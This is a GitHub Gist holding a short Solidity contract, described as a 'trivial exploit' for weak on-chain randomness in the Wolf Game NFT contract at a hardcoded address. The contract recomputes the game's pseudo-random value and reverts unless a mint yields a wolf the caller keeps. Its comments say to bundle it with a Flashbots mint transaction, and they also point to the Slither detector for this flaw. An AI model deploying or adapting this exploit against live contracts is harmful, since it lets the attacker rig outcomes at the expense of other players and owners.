Created
November 20, 2021 15:18
-
-
Save 0xAlcibiades/54f58b3d8b8ec81e0eb150dd3d55615e to your computer and use it in GitHub Desktop.
Trivial exploit for weak Pseudo Random Number Generation in the Wolf Game
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
// It's trivially easy to exploit a weak PRNG based NFT. | |
// Just bundle this with a flashbots bundle where the mint occurs. | |
// | |
// It's also trivially easy to detect/prevent with a took like slither: | |
// https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG | |
pragma solidity ^0.8.0; | |
import "./WolfGame/Woolf.sol"; | |
contract CatchTheWolf { | |
address internal constant WOOLF_ADDRESS = 0xEB834ae72B30866af20a6ce5440Fa598BfAd3a42; | |
Woolf private constant WGAME = Woolf(WOOLF_ADDRESS); | |
constructor() payable { | |
} | |
receive() external payable { | |
} | |
fallback() external payable { | |
} | |
// A call we can revert on | |
function roll_alpha() public { | |
view_alpha(); | |
} | |
// A view we can test with | |
function view_alpha() public view { | |
// We need to do it this way to account for theft and mixed ids. | |
uint256 seed = WGAME.totalSupply() + 1; | |
uint256 prn = random(seed); | |
// We want to roll a wolf | |
bool isSheep = (prn & 0xFFFF) % 10 != 0; | |
require(!isSheep, 'Sheep'); | |
// Let's check that we'll own it. | |
bool isOurs = ((prn >> 245) % 10) != 0; | |
require(isOurs, "Stolen"); | |
} | |
// The weak prng which started it all | |
function random(uint256 seed) internal view returns (uint256) { | |
return uint256(keccak256(abi.encodePacked( | |
tx.origin, | |
blockhash(block.number - 1), | |
block.timestamp, | |
seed | |
))); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment